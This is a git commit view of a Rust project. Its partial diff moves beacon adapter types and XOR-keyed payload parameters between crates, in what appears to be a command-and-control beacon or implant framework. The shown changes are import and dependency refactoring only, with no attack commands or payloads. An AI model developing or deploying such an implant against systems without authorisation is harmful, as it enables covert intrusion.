feat: reworked command processing and storage

This commit is contained in:
Andrew Rioux
2025-02-23 18:29:12 -05:00
parent ceb4aa808e
commit 5ed8efca94
36 changed files with 710 additions and 295 deletions

View File

@@ -10,8 +10,8 @@ async-trait = "0.1.86"
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
thiserror = "2.0.11"
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["ring"] }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-beacon = { path = "../sparse-beacon", features = ["ring"] }
sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
[target.'cfg(target_os = "linux")'.dependencies]
nl-sys = { version = "0.1.0", path = "../nl-sys" }

View File

@@ -2,7 +2,7 @@ use std::net::Ipv4Addr;
use nl_sys::netlink;
use sparse_beacon::{
use sparse_actions::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
@@ -13,7 +13,7 @@ pub enum LinuxAdapterError {
Nl(#[from] nl_sys::error::Error),
}
impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
impl sparse_actions::error::AdapterError for LinuxAdapterError {}
#[derive(Clone)]
pub struct LinuxAdapter;

View File

@@ -2,8 +2,7 @@ use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::adapter::BeaconAdapter;
use sparse_actions::{adapter::BeaconAdapter, payload_types::{Parameters, XOR_KEY}};
#[cfg(target_os = "linux")]
mod linux;
@@ -16,7 +15,7 @@ mod freebsd;
use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
async fn main() -> Result<(), sparse_actions::error::BeaconError<<Adapter as BeaconAdapter>::Error>> {
#[cfg(target_os = "linux")]
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)